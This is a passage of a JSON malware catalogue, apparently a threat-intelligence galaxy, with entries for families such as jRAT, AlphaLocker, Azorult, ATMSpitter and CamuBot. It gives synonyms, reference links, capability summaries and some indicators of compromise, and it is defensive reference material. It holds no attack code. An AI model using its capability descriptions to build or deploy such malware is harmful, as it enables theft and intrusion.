"https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat",
"https://objective-see.com/blog/blog_0x28.html",
"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
]
},
"uuid": "bae3a6c7-9e58-47f2-8749-a194675e1c84",
"value": "CrossRAT",
"description": ""
},
{
"meta": {
"synonyms": [
"Jacksbot"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat",
"https://github.com/java-rat",
"https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered",
"https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/"
]
},
"uuid": "f2a9f583-b4dd-4669-8808-49c8bbacc376",
"value": "jRAT",
"description": "jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy",
"https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/"
]
},
"uuid": "ff24997d-1f17-4f00-b9b8-b3392146540f",
"value": "jSpy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat",
"https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/",
"http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/"
]
},
"uuid": "e7852eb9-9de9-43d3-9f7e-3821f3b2bf41",
"value": "Qarallax RAT",
"description": "According to SpiderLabs, in May 2015 the \"company\" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT)."
},
{
"meta": {
"synonyms": [
"Quaverse RAT"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/",
"https://www.digitrustgroup.com/java-rat-qrat/",
"https://blogs.forcepoint.com/security-labs/look-qrypter-adwind%E2%80%99s-major-rival-cross-platform-maas-market"
]
},
"uuid": "ef385825-bfa1-4e8c-b368-522db78cf1bd",
"value": "QRat",
"description": "QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty",
"https://github.com/shotskeber/Ratty"
]
},
"uuid": "da032a95-b02a-4af2-b563-69f686653af4",
"value": "Ratty",
"description": "Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak",
"https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html"
]
},
"uuid": "fd419da6-5c0d-461e-96ee-64397efac63b",
"value": "AIRBREAK",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur",
"https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
]
},
"uuid": "fb75a753-24ba-4b58-b7ed-2e39b0c68c65",
"value": "Bateleur",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight",
"https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec",
"https://twitter.com/JohnLaTwC/status/983011262731714565"
]
},
"uuid": "faa19699-a884-4cd3-a307-36492c8ee77a",
"value": "CryptoNight",
"description": "WebAssembly-based crpyto miner."
},
{
"meta": {
"synonyms": [
"Roblox Trade Assist"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx",
"http://blog.trendmicro.com/trendlabs-security-intelligence/malicous-chrome-extensions-stealing-roblox-game-currency-sending-cookies-via-discord/"
]
},
"uuid": "d47ca107-3e03-4c25-88f9-8156426b7f60",
"value": "CukieGrab",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak",
"https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/",
"https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack"
]
},
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},
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"description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine\u2019s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm",
"http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/"
]
},
"uuid": "41bfc8ad-ce2c-4ede-aa54-b3240a5cc8ca",
"value": "Project Alice",
"description": ""
},
{
"meta": {
"synonyms": [
"alina_spark",
"katrina",
"alina_eagle"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos",
"http://www.xylibox.com/2013/02/alina-34-pos-malware.html",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Casting-a-Shadow-on-POS/",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-2/",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina--Following-The-Shadow-Part-1/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/",
"https://www.nuix.com/blog/alina-continues-spread-its-wings",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware--sparks--off-a-new-variant/"
]
},
"uuid": "27d90cd6-095a-4c28-a6f2-d1b47eae4f70",
"value": "Alina POS",
"description": ""
},
{
"meta": {
"synonyms": [
"Starman"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple",
"https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/",
"https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf"
]
},
"uuid": "6aabb492-e282-40fb-a840-fe4e643ec094",
"value": "Allaple",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/"
]
},
"uuid": "a0881a0c-e677-495b-b475-290af09bb716",
"value": "Alma Communicator",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker"
]
},
"uuid": "b5138914-6c2b-4c8e-b182-d94973fe5a6b",
"value": "AlmaLocker",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe",
"https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
]
},
"uuid": "86517f1a-6e67-47ba-95dd-84b3125ad983",
"value": "ALPC Local PrivEsc",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware",
"https://twitter.com/JaromirHorejsi/status/813714602466877440"
]
},
"uuid": "5060756f-8385-465d-a7dd-7bf09a54da92",
"value": "Alphabet Ransomware",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker",
"https://blog.cylance.com/an-introduction-to-alphalocker"
]
},
"uuid": "c1b9e8c5-9283-4dbe-af10-45956a446fb7",
"value": "AlphaLocker",
"description": "A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.\r\n\r\nAlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.\r\n\r\nAlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.\r\n\r\nTo decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc",
"https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group"
]
},
"uuid": "6e94186c-987e-43da-be2d-9b44f254c8b9",
"value": "AlphaNC",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay",
"https://securelist.com/blog/sas/77908/lazarus-under-the-hood/"
]
},
"uuid": "d258de39-e351-47e3-b619-731c87f13d9c",
"value": "Alreay",
"description": ""
},
{
"meta": {
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"Pihar",
"TDSS",
"TDL"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon",
"http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html",
"http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html",
"http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html"
]
},
"uuid": "ad4e6779-59a6-4ad6-98de-6bd871ddb271",
"value": "Alureon",
"description": ""
},
{
"meta": {
"synonyms": [
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol",
"https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/",
"http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
]
},
"uuid": "ce25929c-0358-477c-a85e-f0bdfcc99a54",
"value": "AMTsol",
"description": ""
},
{
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"B106-Gamarue",
"B67-SS-Gamarue",
"b66"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda",
"http://blog.morphisec.com/andromeda-tactics-analyzed",
"https://blog.avast.com/andromeda-under-the-microscope",
"https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis",
"http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/",
"https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html",
"https://blog.fortinet.com/2014/04/23/andromeda-2-7-features",
"https://blog.fortinet.com/2014/05/19/new-anti-analysis-tricks-in-andromeda-2-08",
"https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features",
"https://blog.fortinet.com/2014/04/16/a-good-look-at-the-andromeda-botnet",
"http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/",
"http://resources.infosecinstitute.com/andromeda-bot-analysis/",
"https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/",
"https://eternal-todo.com/blog/andromeda-gamarue-loves-json",
"https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation",
"https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/"
]
},
"uuid": "07f46d21-a5d4-4359-8873-18e30950df1a",
"value": "Andromeda",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.anel",
"https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/"
]
},
"uuid": "a180afcc-d42d-4600-b70f-af27aaf851b7",
"value": "Anel",
"description": ""
},
{
"meta": {
"synonyms": [
"Latinus"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam"
]
},
"uuid": "02be7f3a-f3bf-447b-b8b4-c78432b82694",
"value": "Antilam",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto",
"https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf"
]
},
"uuid": "d3e16d46-e436-4757-b962-6fd393056415",
"value": "Apocalipto",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom",
"http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/"
]
},
"uuid": "e87d9df4-b464-4458-ae1f-31cea40d5f96",
"value": "Apocalypse",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax"
]
},
"uuid": "4f5c2f8b-06ef-4fb3-b03c-afdcafa88de5",
"value": "ArdaMax",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty",
"http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/"
]
},
"uuid": "bf135b0a-3120-42c4-ba58-c80f9ef689bf",
"value": "Arefty",
"description": ""
},
{
"meta": {
"synonyms": [
"Aaron Keylogger"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger",
"https://www.invincea.com/2016/09/crimeware-as-a-service-goes-mainstream/",
"http://remote-keylogger.net/"
]
},
"uuid": "3572d725-bf13-43ef-9511-bdbb7692ab06",
"value": "Arik Keylogger",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ars_loader",
"https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/",
"https://twitter.com/Racco42/status/1001374490339790849",
"https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/"
]
},
"uuid": "1a4f99cc-c078-41f8-9749-e1dc524fc795",
"value": "ARS VBS Loader",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader"
]
},
"uuid": "4e3fa4e6-bc7d-4024-b191-ccafa5347c13",
"value": "AscentLoader",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.aspc"
]
},
"uuid": "bc128d41-33e6-40ec-aaf2-9a05da9a0a27",
"value": "ASPC",
"description": ""
},
{
"meta": {
"synonyms": [
"Aseljo",
"BadSrc"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.asprox",
"http://oalabs.openanalysis.net/2014/12/04/inside-the-new-asprox-kuluoz-october-2013-january-2014/",
"https://researchcenter.paloaltonetworks.com/2015/08/whats-next-in-malware-after-kuluoz/"
]
},
"uuid": "ba557993-f64e-4538-8f13-dafaa3c0db00",
"value": "Asprox",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.athenago",
"http://blog.talosintel.com/2017/02/athena-go.html"
]
},
"uuid": "587eff78-47be-4022-a1b5-7857340a9ab2",
"value": "AthenaGo RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
]
},
"uuid": "e248d80d-de8e-45de-b6d0-3740e5b34573",
"value": "ATI-Agent",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii",
"https://securelist.com/atmii-a-small-but-effective-atm-robber/82707/"
]
},
"uuid": "f2a7c867-6380-4cbe-b524-50727a29f0c6",
"value": "ATMii",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch",
"https://securelist.com/blog/sas/77918/atmitch-remote-administration-of-atms/"
]
},
"uuid": "5f427b3a-7162-4421-b2cd-e6588d518448",
"value": "ATMitch",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere",
"https://www.group-ib.com/resources/threat-research/silence.html"
]
},
"uuid": "15918921-93b8-4b3a-a612-e1d1f769c420",
"value": "Atmosphere",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter",
"https://quoscient.io/reports/QuoINT_INTBRI_New_ATMSpitter.pdf",
"https://quoscient.io/reports/QuoINT_INTBRI_ATMSpitter_v2.pdf"
]
},
"uuid": "5a03a6ff-e127-4cd2-aab1-75f1e3ecc187",
"value": "ATMSpitter",
"description": "The ATMSpitter family consists of command-line tools designed to control the cash dispenser of an ATM through function calls to either CSCWCNG.dll or MFSXFS.dll.\r\nBoth libraries are legitimate Windows drivers used to interact with the components of different ATM models."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.august_stealer",
"https://hazmalware.blogspot.de/2016/12/analysis-of-august-stealer-malware.html",
"https://www.proofpoint.com/us/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene"
]
},
"uuid": "2ee0122a-701d-487d-9ac1-7d91e4f99d78",
"value": "August Stealer",
"description": ""
},
{
"meta": {
"synonyms": [
"Riodrv"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.auriga",
"https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
]
},
"uuid": "e3065e43-503b-4496-921b-7601dd3d6abd",
"value": "Auriga",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora",
"https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/"
]
},
"uuid": "2f899e3e-1a46-43ea-8e68-140603ce943d",
"value": "Aurora",
"description": "Ransomware"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler",
"https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/"
]
},
"uuid": "96a695de-2560-4f10-bbd6-3bc2ac27b7f7",
"value": "AvastDisabler",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt",
"https://www.bleepingcomputer.com/news/security/the-avcrypt-ransomware-tries-to-uninstall-your-av-software/"
]
},
"uuid": "0568fcc6-755f-416e-9c5b-22232cd7ae0e",
"value": "AVCrypt",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo",
"http://researchcenter.paloaltonetworks.com/2016/08/unit42-aveo-malware-family-targets-japanese-speaking-users/"
]
},
"uuid": "606b160a-5180-4255-a1db-b2b9e8a52e95",
"value": "Aveo",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan",
"https://blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/"
]
},
"uuid": "b12d9354-f67b-47dd-944c-82cfdff7b9a3",
"value": "Avzhan",
"description": ""
},
{
"meta": {
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"refs": [
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]
},
"uuid": "c84a6b0b-28a5-4293-b8fc-6a6eeb7b5f70",
"value": "Ayegent",
"description": ""
},
{
"meta": {
"synonyms": [
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"Rultazo"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult",
"https://www.bleepingcomputer.com/news/security/azorult-trojan-serving-aurora-ransomware-by-malactor-oktropys/",
"https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers",
"https://malwarebreakdown.com/2017/07/24/the-seamless-campaign-drops-ramnit-follow-up-malware-azorult-stealer-smoke-loader-etc/",
"https://www.proofpoint.com/us/threat-insight/post/threat-actors-using-legitimate-paypal-accounts-to-distribute-chthonic-banking-trojan",
"http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html",
"https://malwarebreakdown.com/2017/11/12/seamless-campaign-delivers-ramnit-via-rig-ek-at-188-225-82-158-follow-up-malware-is-azorult-stealer/",
"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside"
]
},
"uuid": "0dfbe48e-a3da-4265-975e-1eb37ad9c51c",
"value": "Azorult",
"description": "AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit."
},
{
"meta": {
"synonyms": [
"SNOWBALL"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.babar",
"https://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/",
"https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope",
"http://www.spiegel.de/media/media-35683.pdf",
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},
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},
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},
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},
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},
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},
{
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},
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"value": "BrutPOS",
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},
{
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"refs": [
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]
},
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"value": "BS2005",
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},
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"refs": [
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"https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/"
]
},
"uuid": "d29786c6-2cc0-4e2f-97b0-242a1d9e9bf8",
"value": "BTCWare",
"description": ""
},
{
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},
"uuid": "16794655-c0e2-4510-9169-f862df104045",
"value": "Bugat",
"description": ""
},
{
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap",
"https://www.arbornetworks.com/blog/asert/diving-buhtrap-banking-trojan-activity/",
"https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack",
"https://www.group-ib.com/brochures/gib-buhtrap-report.pdf",
"https://www.welivesecurity.com/2015/04/09/operation-buhtrap/"
]
},
"uuid": "fa278536-8293-4717-86b5-8a03aa11063f",
"value": "Buhtrap",
"description": ""
},
{
"meta": {
"synonyms": [
"R2D2",
"0zapftis"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner",
"http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf",
"http://www.stoned-vienna.com/analysis-of-german-bundestrojaner.html",
"https://www.f-secure.com/weblog/archives/00002249.html",
"https://www.f-secure.com/weblog/archives/00002249.html"
]
},
"uuid": "04aeda9f-7923-45d1-ab74-9dddd8612d47",
"value": "Bundestrojaner",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu",
"https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/",
"https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/",
"http://malware-traffic-analysis.net/2017/05/09/index.html",
"https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/"
]
},
"uuid": "4350b52a-8100-49b5-848d-d4a4029e949d",
"value": "Bunitu",
"description": "Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72)."
},
{
"meta": {
"synonyms": [
"spyvoltar"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat",
"http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html"
]
},
"uuid": "cd4ee7f0-394e-4129-a1dc-d5fb423f2311",
"value": "Buterat",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus"
]
},
"uuid": "69a3e0ed-1727-4a9c-ae21-1e32322ede93",
"value": "Buzus",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby",
"https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan"
]
},
"uuid": "12886243-55b6-4864-bf7a-7e2439e3a4c1",
"value": "BYEBY",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0"
]
},
"uuid": "b6b187d0-e19f-489a-91c0-7c94519555f6",
"value": "c0d0so0",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart"
]
},
"uuid": "fe1d51d8-f0e8-4f71-bf5c-724f7d4a824c",
"value": "CabArt",
"description": ""
},
{
"meta": {
"synonyms": [
"Cadelle"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy",
"http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf"
]
},
"uuid": "cad83c5e-2081-4ab4-81c7-32cfc16eae66",
"value": "CadelSpy",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot",
"https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/"
]
},
"uuid": "ecac83ab-cd64-4def-979a-40aeeca0400b",
"value": "CamuBot",
"description": "There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :\r\n\r\nCamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479\r\n\r\nDropped Files on disk :\r\n\r\nC:\\Users\\user~1\\AppData\\Local\\Temp\\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1\r\n\r\nC:\\Users\\user~1\\AppData\\Local\\Temp\\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8\r\n\r\nC:\\ProgramData\\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190\r\n\r\nProtecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi\r\n\r\nA new driver is installed : C:\\Windows\\system32\\drivers\\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8\r\n\r\nftusbload2.sys set 28 IRP handlers."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat",
"http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html"
]
},
"uuid": "1e722d81-085e-4beb-8901-aa27fe502dba",
"value": "Cannibal Rat",
"description": "Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable."
},
{
"meta": {
"synonyms": [
"Anunak"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak",
"https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf",
"https://www.fox-it.com/en/wp-content/uploads/sites/11/Anunak_APT-against-financial-institutions2.pdf",
"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
]
},
"uuid": "8c246ec4-eaa5-42c0-b137-29f28cbb6832",
"value": "Carbanak",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.carberp"
]
},
"uuid": "8f0d4866-7c67-4376-a6f2-958224d3c9d0",
"value": "Carberp",
"description": ""
},
{
"meta": {
"synonyms": [],
